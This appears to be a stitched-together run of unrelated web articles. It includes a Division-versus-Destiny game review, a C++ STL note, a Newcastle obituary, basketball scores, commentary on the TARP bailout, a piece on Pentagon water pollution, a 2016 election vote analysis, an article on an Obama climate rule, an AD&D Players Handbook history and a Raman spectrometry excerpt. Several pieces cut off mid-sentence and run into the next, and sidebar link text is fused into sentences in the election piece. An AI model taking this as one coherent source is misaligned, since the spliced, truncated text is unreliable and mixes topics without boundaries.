But Destiny has pushed passed a relative lack of story, and so can The Division, if it needs to. But where the games seem to diverge most is both the diversity and amount of content there is to be played, and what said content feels the most similar to. And in The Division’s case, almost nothing about its combat or its structure resembles Destiny in the least. Again, it can be its own type of fun, and certainly an enjoyable experience, but because of this, it rarely felt like a direct competitor to Destiny for me.
Those who have played the beta know there are essentially two zones, the “normal” world full of story missions, side-quests and activities asking to be cleared, and the Dark Zone. Side-quests and activities seem to be one and done, meaning you clear them once like in any open world game, and they never come back. Story missions are able to be replayed on harder difficulties, and have optional built-in matchmaking. Supposedly, replaying story missions on challenge modes is going to be one of the non-Dark Zone activities to provide endgame loot.
It’s not a terrible system, as these tougher story missions (at least the one in the beta) did seem a bit like one of Destiny’s strikes, in terms of having different sections where you take on enemy waves in unique environments followed by a boss you need to team up to take down. I suppose that as you get into the late game, the longer, tougher story missions could be the rough equivalent of raids. But in Destiny terms, that’s essentially like cranking up The Black Garden to max difficulty and calling that an endgame activity. It may be fine for The Division, but Destiny players are used to more in-depth content than that. I’ve heard nothing about The Division that implies the final game will have anything as involved or complex as Destiny’s raids.
Rather, everyone seems to realize that the main draw of The Division is the Dark Zone, the lawless kill-or-be-killed area where you take on high level AI enemies and rival players alike. All players default as friendly, but can easily turn on you in an instant, stealing your XP, currency and loot. While the zone has its own XP and form of cash, meaning the mode is effectively optional and you won’t ever lose your “normal” zone progress, it’s supposed to be where the greatest challenges and best loot in the game are found.
And here, The Division’s signature mode is the place where it most feels nothing like Destiny. Not even a little bit. Rather, the Dark Zone almost exactly mirrors the gameplay of survival of the fittest games like DayZ and Rust, just with a AAA-sized scale and budget. This is not necessarily a bad thing. The Dark Zone can be a hell of a lot of fun, as those type of games can be pretty great, and lead to many harrowing and hilarious stories. Even after just a weekend, I have a bunch of those to tell about would-be traitors and endless, gripping gunfights in the sewers or in skyscrapers.
But for a Destiny player? I’m not sure I necessarily see the appeal, or view the Dark Zone as a replacement for Destiny’s current endgame activities. The Dark Zone is essentially unstructured PvP. While Destiny has the Crucible, and special high-end events like Trials of Osiris and Iron Banner, The Division’s PvP endgame is essentially to organize yourself into either the most efficient griefing gang in the open world, or becomes the most effective griefer hunters. That could be fun, but it’s a drastically different sort of challenge, and somewhat limited in scope.
Right now, the AI elements of the Dark Zone seem to be relatively miniscule compared to the Rogue system, which dominates the mode. Perhaps in the ultimate endgame, there will be much tougher, much more engaging AI enemies to take on in the Dark Zone, but again, this doesn’t seem like the type of PvE content Destiny players have come to expect.
I just find it tough to believe that devoted Destiny players are going to have the same level of commitment to Dark Zone end |
to leverage Concepts Lite but also to support ranges, increase uniformity and expressive power, ease-of-use, safety, and to fix some long-standing issues. Whatever we end up with would look a lot like the current Standard Library, and of course existing code would continue to work.
Let me emphasize that this is my opinion of the general feeling in the room. The committee has not voted on this. What is clear is that work will now begin on a version of the STL that uses Concepts Lite and that looks a lot like my range-v3 library, and that this version will not make a priority of perfect backwards compatibility. That work will go into a Technical Specification, and vendors will start shipping it in a std::experimental namespace as soon as it hits the presses. I couldn’t be more excited!
Edited to clarify what is my opinion and what is a possible future.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Homeless Alan Palmer brought passers-by to tears with his piano playing in Newcastle Central Station.
Draped in his sleeping bag, the 26-year-old would play songs including Beethoven’s Fur Elise and Moonlight Sonata, describing it as a break from the ‘hassle’ he received on the streets.
But drug addict Alan, originally from the West End, couldn’t beat his demons and was found dead in a Newcastle street, surrounded by used needles.
Now devastated mum Catherine has paid tribute to her son who shocked hundreds of visitors to the city.
She said: “It hasn’t hit me yet, I still haven’t cried. The police knocked on my door and told me they’d found my Alan.
“He was just a lovely lad, a really good artist. He was really creative and his dad taught him to play the keyboard, the guitar and the drums.
“I am really proud of the fact that he moved people to tears. I used to sit and listen to him play and it brings me a lot of comfort to know he brought such joy to people.”
Alan was found dead on October 10.
Catherine, 51, and Alan’s dad, also Alan, faced every parents’ worst nightmare as she came face to face with her child’s lifeless body in a chapel of rest.
As he lay in front of her, she had to say goodbye for the final time.
“It didn’t feel real, it was so strange,” she said. “I told him I loved him and I am so sorry it happened. I just wish I could spend more time with him.
“I last saw him two weeks before he died, I took him for a hot chocolate. I had my arm around him and told him I loved him.
“At least I have a nice final memory of him.”
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The former Christ Church School pupil was lured into the dark world of hard drugs after his relationship with the mum of his two kids broke down.
Alan found it difficult to cope and turned to heroin - a decision that would lead ultimately to his death slumped against a Benwell lamppost surrounded by used needles.
As he battled his demons, loving Catherine had to keep Alan out of her home for the sake of her other children, Ben, 25, and Katie, 18.
She had hoped he would beat the drugs and she’d have her son back - but like so many others in Alan’s position, there was a tragic ending.
Catherine said: “When he was on Youtube playing his music, in a hostel and seeking support in fighting his demons, I thought it was going in the right direction.
“But sadly there was no happy ending. I want something positive to come from this and I want to help other people who have fallen into the same trap as Alan.
“When you see people who are living on the streets, you never know what they have been through.”
Catherine is asking people to make a donation to homeless charity Changing Lives.The freshman swingman Le’Bryan Nash scored a career-high 27 points Wednesday night as host Oklahoma State defeated No. 2 Missouri, 79-72.
Brian Williams added 22 points for the Cowboys (10-10, 3-4 Big 12). Ricardo Ratliffe had 25 points to lead Missouri (18-2, 5-2).
DUKE 74, MARYLAND 61 No. 8 Duke bounced back from Saturday’s loss to Florida State by beating host Maryland for the 10th time in 11 meetings. Mason Plumlee scored 23 points for Duke (17-3, 5-1 Atlantic Coast Conference). The Terrapins fell to 12-7, 2-3.
FLORIDA ST. 75, WAKE FOREST 52 No. 23 Florida State (14-6, 5-1) won its fifth straight A.C.C. game as Michael Snaer scored 18 points. Host Wake Forest (11-9, 2-4) lost center Ty Walker to a concussion in the first half.
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MICHIGAN ST. 68, MINNESOTA 52 Coach Tom Izzo earned his 400th win as No. 10 Michigan State (17-4, 6-2 Big Ten) prevailed at home. Minnesota is 15-6, 3-5.UPDATE: The agreement has fallen apart. After meeting with the President for hours, both sides stormed out of the room. Paulson and Bernanke now hustling back to the hill to try to salvage the deal. Some are blaming McCain.
EARLIER: Congressional Republican and Democrat leaders reached an agreement this afternoon for the Treasury’s Troubled Asset Relief Program—also known as the Hanke-Panke bailout. The provisions of the agreement are vague but differ in surprising ways from what we’d been led to expect.
Here’s a rundown of the highlights and lowlights.
Compensation Cap: “Requires Treasury Secretary to set standards to prevent excessive or inappropriate executive compensation for participating companies.” This is broader than the “golden parachute” limit reported an hour ago because it applies to all executive compensation for any company participating in the program. The discretion it gives to the Treasury Secretary will make him a kind of compensation czar for Wall Street, which is a very strange role for the Treasury Secretary. Fortunately, it may give the Treasury Secretary enough discretion to make this provision toothless enough that financial executives won’t have to avoid participation just to preserve their income.
Equity Sharing: “To minimize risk to the American taxpayer, requires that any transaction include equity sharing.” This is more or less a hedge against firms selling their worst junk at inflated prices to the Treasury or otherwise exploiting the bailout for a windfall. If the firms rake in huge profits from the bailout, the government will get a share of the upside.
Debt Payments: “Requires most profits to be used to reduce the national debt.” Entirely nonsense. Congress will continue to accumulate budget deficits and the government will increase its debt. Even if the government spends every dime of the alleged profit from this deal on earmarks, it can claim that it is reducing debt because otherwise it would have to borrow the money for the program.
Weak Judicial Review: “Treasury Secretary is prohibited from acting in an arbitrary or capricious manner or in any way that is inconsistent with existing law.” Hank Paulson had sought unreviewable power to spend the TARP. This was meant to reduce uncertainty in the markets, which could know that a judge wouldn’t be able to prevent the Treasury from spending the funds. The new standard will allow a very weak form of judicial review. “Arbitrary or capricious” is legal mumbo-jumbo for a standard that approves almost every government action.
Meet The New Bosses: “Establishes strong oversight board with cease and desist authority.” How do we get on this ‘oversight board?’
Congressional Oversight: “Requires program transparency and public accountability through regular, detailed reports to Congress disclosing exercise of the Treasury Secretary’s authority.” This seems straight forward. We imagine these things will look just like the Fed chief’s testimony before Congress—expect vague answers from a condescending Treasury secretary and awkward, self-serving, constituent pleasing questions from Congressmen.
A Bureaucracy To Watch The Bureaucracy: “Establishes an independent Inspector General to monitor the use of the Treasury Secretary’s authority” and “Requires GAO audits to ensure proper use of funds, appropriate internal controls, and to prevent waste, fraud, and abuse.” But who will monitor the independent Inspector General and the GAO? It’s bureaucrats all the way down.
More Mortgage Losses Ahead: “Maximize and coordinate efforts to modify mortgages for homeowners at risk of foreclosure.” Doesn’t anyone see the irony that modifying mortgages that are causing the trouble will only increase impairment rates, drive down the prices of mortgage backed securities and dig us deeper into the credit abyss? Apparently not.
Profit Elimination for Government Owned Mortgages: “Requires loan modifications for mortgages owned or controlled by the Federal Government.” Whoosh! There go those profits. If the government buys assets at their expected returns based on their terms, then modifies them, it guarantees a loss.
Blow The Bubble Again: “Directs a percentage of future profits to the Affordable Housing Fund and the Capital Magnet Fund to meet America’s housing needs.” Get ready for the Revenge of The Housing Bubble: This Time It’s Personal!
Create Chaos In the Markets: “Treasury Secretary’s request for $700 billion is authorized, with $250 billion available immediately and an additional $100 billion released upon his or her certification that funds are needed.” It’s not like we want to end this awesome volatility right? Let’s keep the markets hanging around, nervously waiting on every incremental piece of that. That will totally help the economy.
Government Rent Seeking: “Final $350 billion is subject to a Congressional joint resolution of disapproval.” Because, you see, congressmen and senators have fiscal needs too. If they lose their authority to control spending, why are the lobbyists going to raise campaign contributions for them. Everyone would just lobby the Treasury officials. This part is the bailout for lawmakers.
So it turns out congressman Paul Kanjorski was right when he said the agreement woud contain “most everything everyone is asking for as a condition to put this together has already been agreed to and is in the bill.” Ain’t democracy grand?Aerial of the Pentagon, the Department of Defense headquarters in Arlington, Virginia. (Photo: Pentagon building via Shutterstock)
Also see: Tyson Foods Accused of Dumping More Poison Into Waterways Than Exxon, Dow and Koch
Advocacy group Environment America has “crunched the numbers” in an effort to reveal who the largest polluters of American waterways are. The culprits that crack the top-15 list may very well surprise you.
If you ask people on the street who America’s biggest water polluter is, for many, oil Goliaths like Exxon or Chevron might be first to come to mind – but not by a long shot would either of those be the correct answer.
AK Steel Holding Corp took the slimy grimy first-place prize, with transnational mega meat marketer Tyson Foods coming in a very close second. Two oil companies, Phillips 66 and ExxonMobil, did make the top-15 – but only in 13th and 15th places respectively.
Interestingly, nearly half the entities on the list were food and meat producers, but it’s the third-place finisher that’s been raising some eyebrows as well.
According to the analysis, the US government, and specifically the Department of Defense (DOD), is the third largest water polluter in America, having dumped some 63,335,653 pounds of poison into waterways from 2010-2014.
The data was compiled using numbers from the Environmental Protection Agency’s (EPA) Toxic Release Inventory (TRI) program. According to EPA’s website, “TRI tracks the management of certain toxic chemicals that may pose a threat to human health and the environment. US facilities in different industry sectors must report annually how much of each chemical is released to the environment.”
Environment America Analysis of EPA Toxic Inventory Release Program.
Amongst the many potentially deadly substances released by DOD are chemicals, rocket fuel and toxic sewage – but it’s the carcinogenic and mutagenic radioactive isotopes let loose by its nuclear munition plants that make DOD’s emissions exceptionally dangerous. The Department’s myriad facilities, dedicated steadfastly to perpetuating ongoing participation in the nuclear bomb game, have been leaking and leeching lethal radiation from the dawn of the nuclear age, to the present day.
In other words, the very Defense Department that is supposed to be protecting American citizens from mortal threats, is, in and of itself, one of the deadliest threats Americans face – not from bombs or guns, but from millions of pounds of pollution, perpetrated on the country’s unsuspecting population every year, by way of the Pentagon itself.
A perfect example can be drawn by examining Hanford, the infamous Manhattan-era nuclear bomb manufacturing plant and waste dump, in Washington State. A classic investigative long-read in Rolling Stone Magazine, from all the way back in 1990, titled, “America’s Worst Polluter,” sounded the alarm over DOD/DOE’s exorbitant toxic emissions, and wrote of Hanford:
By far the most dangerous form of pollution caused by government mismanagement comes out of the Department of Energy’s nuclear-weapons facilities… After four decades of research and manufacturing, the DOE is stuck with billions of gallons of radioactive and chemical byproducts, principally at four locations:.. …at Hanford alone, the wastes would cover an area the size of Manhattan with a lake forty feet deep.
America’s Worst Polluter
Another interesting point that must be drawn from Environment America’s summation is that although the Department of Energy (DOE) didn’t crack the top-15 list, it is nonetheless a huge polluter as well. Additionally, NASA, the US Department of Agriculture (USDA), the Department of the Interior (DOI), the Federal Aviation Administration (FAA), the Department of Justice (DOJ) and multiple other agencies are also offenders, leaving the befuddling question: Is the US government the biggest polluter of all?
It is important to note that Environment America’s recent analysis specifically addresses releases into waterways, and excludes air pollution and landfill sources – also part of TRI reporting. Nevertheless, the sheer scope of the government’s polluting activities needs further examination across the board.
Stay tuned to EnviroNews, as we intend to explore this question more thoroughly in future investigative reports, but let’s just say for now that the stats aren’t looking good for the US government – and those numbers look even worse if you live in any of the many communities poisoned by the ongoing and nebulously toxic deeds of the US government.Where did all of the Democratic voters go?
Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE and other party leaders are asking that question after her stunning upset loss to Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE.
Clinton lost states no Democratic presidential candidate had been defeated in since George H.W. Bush carried 40 states, including Michigan and Pennsylvania, in 1988.
Clinton leads the popular vote, but she received about 5 million fewer votes than President Obama did in 2012. At the same time, Trump won about as many votes as Mitt Romney did in 2012 and only a little more than Sen. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (R-Ariz.) did in 2008.
Most critically, the votes Clinton lost stood out in states essential to both candidates’ paths to 270 electoral votes. In the 10 most competitive swing states, Clinton underperformed Obama’s 2012 tally by nearly 1.2 million votes. Besides Pennsylvania and Michigan, she became the first Democratic presidential candidate since 1984 to lose Wisconsin.
Democrats turned out a record number of voters in the nation’s largest urban areas and did well in traditional swing counties such as Chester and Montgomery counties in Pennsylvania, home to some of the all-important Philadelphia suburbs.
But Clinton lost other rural and small-town counties in Pennsylvania and in other crucial states to Trump by a much larger margin than Obama did in 2012. Clinton scored better than Obama in just one of the 36 Pennsylvania counties with populations of less than 100,000.
Trump improved on Romney’s performance in counties like Luzerne, York and Lackawanna, where union jobs have declined precipitously in recent years. In 19 of the 24 Pennsylvania counties where Trump gained more than twice as many votes over Romney as Clinton lost to Obama, 94 percent of the population is white.
“The Reagan Democrat coalition moved his way pretty strongly in some of these places, or they just didn’t vote for her,” said Mark Stephenson, a Republican data analytics expert. “You can have 10 counties that make up 1 percent of the vote that overwhelm a big county that makes up 8 percent of the vote, and that seems to be what happened in a lot of these swing states.”
Florida was one of the few states where Clinton’s total outpaced Obama statewide. Clinton outperformed Obama and beat Trump by 853,000 votes in the five counties with populations over 1 million residents — Miami-Dade, Broward, Palm Beach, Hillsborough and Orange. Obama had won those counties by a combined 695,000 votes.
But Trump outperformed Romney by a wider margin: In the 31 counties with populations between 100,000 and 1 million, Trump won by 801,000 combined votes — 300,000 more than Romney’s margin four years ago. Trump beat Clinton by 171,000 votes in Florida counties with fewer than 100,000 residents, improving on Romney.
Overall, Trump won Florida by about 220,000 votes.
Clinton’s strategy “was really, really hyper-focused on urban communities,” said Steve Schale, a Florida Democratic strategist. “There were more than enough votes that came out of the places where we needed to win.”
Clinton also suffered from a predictable decline in the African-American vote, a critical loss in Pennsylvania, Wisconsin and Michigan. If the Democrat had won those three states, she would be the president-elect.
In Michigan, Clinton won 517,000 votes in Wayne County, home of Detroit. Four years ago, Obama won 595,000 votes there. Clinton also suffered serious drop-offs in Macomb County, a Detroit suburb, and in Genessee, home of Flint.
In total, Trump won Michigan by about 12,000 votes.
The results, strategists and observers said, illustrate a dramatic shift in political power toward rural areas, at least this year.
“Clinton’s performance in suburban counties like Chester demonstrate that she succeeded in part in executing her campaign strategy,” said Brock McCleary, a Republican pollster in Pennsylvania. “Populism doesn’t play in the suburbs, and that’s what left the political world shaking its head at Trump’s strategy. Right and wrong in American politics is often determined by whether a moderate Chester County mother would approve. Not this time.”
Clinton over-performed Obama’s Michigan vote total in just six counties, centered around the growing cities of Grand Rapids, Ann Arbor — where Obama held a last-minute get-out-the-vote rally before polls opened — and Battle Creek. Trump, on the other hand, over-performed Romney in 75 of the state’s 83 counties.
Virginia illustrates the drop-off between Obama’s performance and Clinton’s among black voters. In seven jurisdictions in which black voters make up a majority, Clinton received fewer votes than Obama did in all but one: Richmond city. In Philadelphia, which is 44 percent African-American, Clinton’s margin over Trump was 11,000 votes lower than Obama’s margin over Romney.
Clinton’s focus on urban cores helped her win Nevada, a state dominated by two urban centers. Clinton took more votes than Obama in both Clark (Las Vegas) and Washoe (Reno) counties — and she underperformed Obama in the other 15 counties in the Silver State. Clinton’s margin in Clark County alone, where she beat Trump by 81,000 votes, was three times the size of her statewide margin.
“We did not lose this in base Democratic counties,” Schale said.
At the same time, Trump performed better than Romney in all 17 Nevada counties.Even if the Obama administration gets its sweeping controls on carbon emissions from power plants into final form as expected in one year, the president will still have to wait for his successor to seal — or undo — his hoped-for environmental legacy.
The regulatory regime to limit greenhouse gases from existing power plants, unveiled in draft form earlier this month, stands to become the centerpiece of Obama’s climate agenda. And top advisers to the president have proclaimed that attempts to dismantle the rule are doomed to fail.
But a variety of avenues exist to change the policy down the road, even if the regulations are made final in June 2015 as anticipated by the Environmental Protection Agency. Another administration could rewrite or simply not enforce the regulations — a likely outcome if a Republican wins the White House in 2016. If, say, Hillary Clinton succeeds Obama, he might not have as much to worry about.
There are plenty of real-world examples to show how major regulations can be changed after a new occupant moves into the White House. The Obama administration, for instance, has already overhauled a slate of environmental regulations that President George W. Bush put on the books.
Case in point: In 2005, the Bush administration put the finishing touches on a rule to curb mercury emissions from power plants. Three years later, the U.S. Court of Appeals for the D.C. Circuit threw out the regulation. The Bush administration asked the Supreme Court to reconsider. But the Obama administration later asked the court to deny the appeal. In 2011, Obama’s EPA proposed a new rule that’s widely considered by environmentalists to be more stringent than the previous policy.
Federal agencies have slowly but surely plastered over Bush administration environmental policy — largely by reworking rules that didn’t hold up in court. EPA rewrote Bush-era regulations to rein in air pollution blowing across state lines, and the agency plans to toughen ozone standards that date back to the days Obama’s predecessor held office. The Interior Department is also revising Bush administration regulations on mountaintop-removal coal mining.
Future presidents could take a similar tack. The administration is rushing to wrap up the global-warming rule before Obama leaves office. But after the power-plant regulations are finalized, states will have another year to submit plans outlining how they expect to comply. Legal challenges are virtually guaranteed to outlast the administration.
Industry groups and conservatives are already plotting strategy to pick apart the rule. And if parts of the regulation need to be rewritten or the rule is thrown out entirely, its fate will rest largely in the hands of whoever lives in the White House.
“Massaging this rule is likely to become a top priority for future administrations,” said Douglas Holtz-Eakin, president of the conservative think tank American Action Forum and former director of the Congressional Budget Office during the Bush administration. “It’s not easy to roll back regulation, but opposition to the rule is strong and it’s not going away.”
Even if the global-warming rule is not rewritten, it could still be undermined at the top reaches of the executive branch in other, more subtle, ways. Another administration could sit on its hands when it comes time to enforce the mandate. EPA could also delay making revisions to the rule if part of it is knocked down in court or could overlook lackluster efforts by states to comply.
And here too, the Obama administration may have set precedent. In 2010, EPA agreed to issue regulations that would curb greenhouse-gas emissions from refineries. But four years later, those rules have yet to surface. The administration hasn’t renounced its pledge to rein in refinery pollution. But it has relegated the responsibility to the back burner while it focuses on the global-warming rule and other initiatives.
“This administration has perfected the argument that even with a legal obligation they can delay action because they have other priorities,” said Lisa Heinzerling, a Georgetown Law School professor and senior climate policy counsel to former EPA administrator Lisa Jackson. “That could come back to haunt anyone who cares about climate change.”The 1st Edition Player's Handbook is back!
No more searching through stacks of books and magazines to find out what you need to know. The Player's Handbook puts it all at your fingertips, including: All recommended character classes: Fighters, Paladins, Rangers, Magic-Users, and more.
Character Races: Dwarves, Elves, Gnomes, Half-Orcs, Humans, and more.
Character Level Statistics.
Equipment lists with costs.
Spell listings by level and descriptions of effects (including many new spells!).
As a dungeon adventurer or Dungeon Master, you will find the contents of this book to be what you have been waiting for. All useful material is now compiled under one cover, especially for players!
Note about the Print edition: While this book is black & white, it was printed using the Standard Heavyweight "color" option for better quality paper.
Product History
Players Handbook (1978), by Gary Gygax, was the first book of rules for the AD&D game. It was published in June 1978 and seen by many for the first time at Gen Con XI (August 1978).
About the Cover. The cover by Dave Trampier — which shows adventurers looting an idol after killing their foes — is one of the most famous in D&D history. The painting actually encompasses the back cover too (as was the case with all of the original AD&D books) but that picture, which shows adventurers dragging off loot and foes, has never received the same attention.
Because of its fame, Trampier's cover has been repeatedly recreated and parodied. The 3.5e Player's Handbook II (2006), which shows a close-up of the idol-robbing, may be the most attractive homage, but the original HackMaster Player's Handbook (2001) is fun too, because it shows Trampier's iconic scene several minutes earlier, when the adventurers are still fighting the lizard monsters.
Trampier's famous cover was replaced in 1983 by a Jeff Easley painting of a wizard. Most people agree that the later image is more professional, but much less memorable.
About the Other Illustrations. The illustrations by Dave Trampier and David C. Sutherland III feel relatively scant, especially when compared to the 200 illustrations in the Monster Manual (1977). There also aren't as many iconic illustrations as found in the other two core AD&D books. However, the illustration for Otto's Irresistible Dance is a favorite. It shows an Umber Hulk clicking his heels together while under the influence of the spell — which underlines the use of humorous cartoons in early AD&D products.
About the Title. There is no apostrophe in the title of the original Players Handbook. This was purposeful. Its usage was considered confusing and graphically unattractive, and so none of the 1st edition (1e) books had apostrophes in their titles. In Dragon #28 (August 1979), TSR Manager of Designers Allan Hammack, bemoaned its loss, saying "Alas for the death of the apostrophe!" and "Using an artistic excuse, they bar its every attempt at propriety and propagate the error. All is not lost, however, for there is a small but determined underground seeking to restore the lost mark to its proper place. Someday...."
That day would be the 1989 release of AD&D 2e.
Moving Toward AD&D. The D&D game began with the OD&D box (1974), which was expanded with four supplements (1975-1976) and additional articles in The Strategic Review (1975-1976). However, by the time that Supplement III: Eldritch Wizardry (1976) was published, TSR had already decided that the system — which now spanned a half dozen books and several newsletters — needed to be unified and cleaned up.
A new Basic D&D (1977) came out first, thanks to the singular efforts of J. Eric Holmes, but it was just an introductory book, intended to shepherd new players through the first three levels of play. What D&D really needed was a revamped game for the more advanced players: Advanced Dungeons & Dragons.
The AD&D system technically began with Monster Manual (1977) in December 1977. This compendium of monsters showed off the increased detail that would be present in the new AD&D game, but it didn't give much hint at the game mechanics. That would await the publication of the AD&D Players Handbook (1978) six months later.
Despite the publication of AD&D, Gygax claimed that the original "D&D will always be with us". He thought that OD&D and AD&D served different audiences, and that there was no reason to retire the original. OD&D did indeed remain available into the '80s. Afterward, later editions of Basic D&D (1981, 1983) picked up the mantle of OD&D as the simpler and looser D&D game.
Many Printings. The Players Handbook appeared in 17 different printings from 1978 to 1990. The last few printings actually appeared after the release of the AD&D 2e Player's Handbook (1989) — which shows how much less concerned everyone was about editions in the '80s. It was a far cry from the desperate dumping of 3e products following the release of D&D 3.5e (2003)!
Most printings involved very minor variations. The biggest change came with the 8th printing (1983), which was when the new Jeff Easley cover appeared as part of a general rebranding of the AD&D line. In the modern day, the 1e Players Handbook has been reprinted twice more — once in a miniature collectible edition produced under license by Twenty First Century Games (1999), and once in a deluxe limited edition produced by Wizards of the Coast (2012) to support the Gygax memorial fund. The 2012 edition featured reset text.
A Different Sort of Players Handbook. The AD&D 1e Players Handbook is very different from its later incarnations. From AD&D 2e onward, the Player's Handbook has been the main rulebook for the D&D game, but in AD&D 1e it only contained the most crucial rules needed by the players. That means that it explains abilities, races, classes, spells, and psionics, plus a few other bobs and bits.
What's astonishing is what's not in this book. For example, you won't find rules about how to actually roll your abilities! The Dungeon Masters Guide (1979) has that! Similarly, there are no rules for combat or even saving throws! Instead the player only got summaries of what the rules systems were like — not the actual systems!
Though this might seem bizarre today, the original Players Handbook was from a different age; players were kept in the dark about the rules of the game, and the game master was the ultimate arbiter of all the game's mechanics.
What a Difference an Edition Makes: The Controversy. There's a lot of disagreement over whether AD&D is a minor revision of OD&D — gathering together all of its supplements and articles — or whether it's something bigger. This controversy started in Dragon #26 (June 1979) when Gygax rather shockingly said, "there is no similarity (perhaps even less) between D&D and AD&D than there is between D&D and its various imitators produced by competing publishers." In other words, he was claiming that OD&D was more like Tunnels & Trolls (1975) and RuneQuest (1978) than AD&D! He was very clear in saying this: " It is neither an expansion nor a revision of the old game, it is a new game."
Some folks disagreed, most notably Richard Berg who reviewed the Players Handbook in Strategy & Tactics magazine and said that it was a rewrite of the OD&D game. Gygax took extreme umbrage of this claim in Dragon #22 (February 1979), stating:
"Under the circumstances, one can only wonder why Mr. Berg took the time to write on a subject of which he obviously knew so little. Perhaps it is personal or professional jealousy, as the success of D&D and now AD&D has certainly set the rest of the gaming hobby industry on its collective ear, but that is speculation."
The fans had the ultimate word: when you examine the RPG magazines of the late '70s and early '80s that most of them didn't differentiate much between OD&D, AD&D, and BD&D. Instead, magazine articles were usually written for "Dungeons & Dragons" generally. In the present day, most people would probably still agree that Berg was more correct than Gygax … but it all depends on what you're measuring.
What a Difference an Edition Makes: The Goals. There is a big difference between OD&D and AD&D, but it primarily lies in the overall vision of the new game. Gygax explained many of his new goals in articles in Dragon #26 (June 1979) and Dragon #28 (August 1979). He said that "D&D is only a loose structure … [while] AD&D is a much tighter structure which follows, in part, the same format D&D does, but it is a much stronger, more rigid, more extensive framework …"
This tighter framework served three purposes:
First, Gygax thought that the tighter framework would keep players from house-ruling D&D. As he explained: "[O]D&D campaigns can be those which feature comic book spells, 43rd level balrogs as player characters, and include a plethora of trash from various and sundry sources, AD&D cannot be so composed." Based on these changes he thought that "players will not be so able to bend the rules nor will the DM be able to bend the rules." This staunch defense of the "official" rules of AD&D would lead to letters-column drama throughout the '80s.
Second, Gygax thought that it would create "a better platform from which to launch major tournaments" — a goal that was much more successful (and less controversial).
Third, Gygax thought that it would better orient D&D toward its actual audience. OD&D had been intended for miniatures players who already had a strong basis in wargaming. Rules that were sometimes guidelines weren't a problem for these experienced players. Now, D&D's loose structure was becoming a problem for the larger audiences brought into the game though Holmes' Basic D&D. Gygax believed that a more structured game would better appeal to a large audience made up of "wargamers, game hobbyists, science fiction and fantasy fans, those who have never read fantasy fiction or played strategy games, young and old, male and female."
What a Difference an Edition Makes: The Mechanics. Mechanically, the biggest difference in AD&D lies in its level of detail. Everything is much more specific and much better described. The Monster Manual had already made this obvious with its monster descriptions, which were longer and had much more statistics. In the Players Handbook the spell listings (which took up half the book!) showed the same increased level of detail — which now featured not just longer descriptions but also whole new elements, like lists of required spell components.
AD&D also made one other major mechanical change: it increased the breadth of play possible. OD&D play topped out in the first ten levels of play, while AD&D pushed viable play into the teens. As Gygax said, "you won’t run out of game in six weeks, or six months. Perhaps in six years you will, but that’s a whole different story."
Beyond that, the new Players Handbook mainly gathered material from a variety of sources. For example, the ten character classes in AD&D were massively expanded from the three in OD&D, but most of them had appeared before:
Cleric: OD&D (1974)
(1974) Druid: Supplement III: Eldritch Wizardry (1976)
(1976) Fighter: OD&D (1974)
(1974) Paladin: Greyhawk (1975)
(1975) Ranger: The Strategic Review #2 (Summer 1975)
(Summer 1975) Magic-User: OD&D (1974)
(1974) Illusionist: The Strategic Review #4 (Winter 1975)
(Winter 1975) Thief: Great Plains Game Players Newsletter #9 (June 1974) / Supplement I: Greyhawk (1975)
(June 1974) / (1975) Assassin: Supplement II: Blackmoor (1975)
(1975) Monk: Supplement II: Blackmoor (1975)
The bard class (which appears in an appendix) was a bit more of an innovation; though a bard had previously appeared in The Strategic Review vol. 2 #1 (February 1976), the AD&D bard was massively rebalanced — and largely considered unplayable, since it required moving through fighter and thief classes before finally arriving at druidic bardism.
AD&D also increased the list of possible PC races, which were limited to dwarves, elves, hobbits, and men in OD&D. Now the list of demihumans was doubled, with half-elves from Supplement I: Greyhawk (1975), gnomes from Supplement II: Blackmoor (1975) and the totally new half-orcs.
Beyond that, there were numerous small changes, such as: alignments were now ninefold, expanding from the five alignments found in The Strategic Review vol. 2 #1 (February 1976); all classes now got bonuses from strength and dexterity, not just fighters; and various mechanics were re-balanced as part of a more cohesive whole.
Whoops! Players Handbook was a small production from a small company and it had a fair number of errors in it. Dragon Magazine #35 (March 1980) lists many of them, but surprisingly most of those errors were never fixed in later editions of the actual book. The funniest error in the book is probably the listing of the class title for fifth level clerics as "perfects" — which was presumably a typo for "prefects". This mistake was cut out of the Players Handbook starting with the third printing (1979) or so, leaving 5th level cleric as the only level in AD&D without a level title.
The most far-reaching error in the Players Handbook, according to Frank Mentzer in Dragon #70 (February 1983), was the idea that falling damage was just 1d6 for every ten feet fallen. Apparently Gyg |
Raman spectrometry in field and laboratory archaeology. We compared the spectra of the raw sotol and baked sotol on the surface of the scraper to the spectra of inulin. We also used handheld Raman spectrometry for residue analysis of limestone fragments used to boil chicory root inulin powder purchased from a local grocery store. The limestone was purchased from a local garden center. About 5 g of inulin was boiled with several stones for an hour. Figure 2D shows a comparison of Raman spectra of raw inulin (blue) with cooked inulin on the surface of boiling stones (green), and with raw sotol (red) and baked sotol on the surface of the scraper (black). The obtained spectra of inulin are in agreement with previous reports.19, 20 Spectra of cooked inulin on boiling stones reveal clear signatures of inulin. Sotol and inulin have similar spectra. Therefore, inulin is a major component in Raman spectra of sotol. This confirms the potential of handheld Raman spectrometry for archaeological food residue analysis on boiling stones.
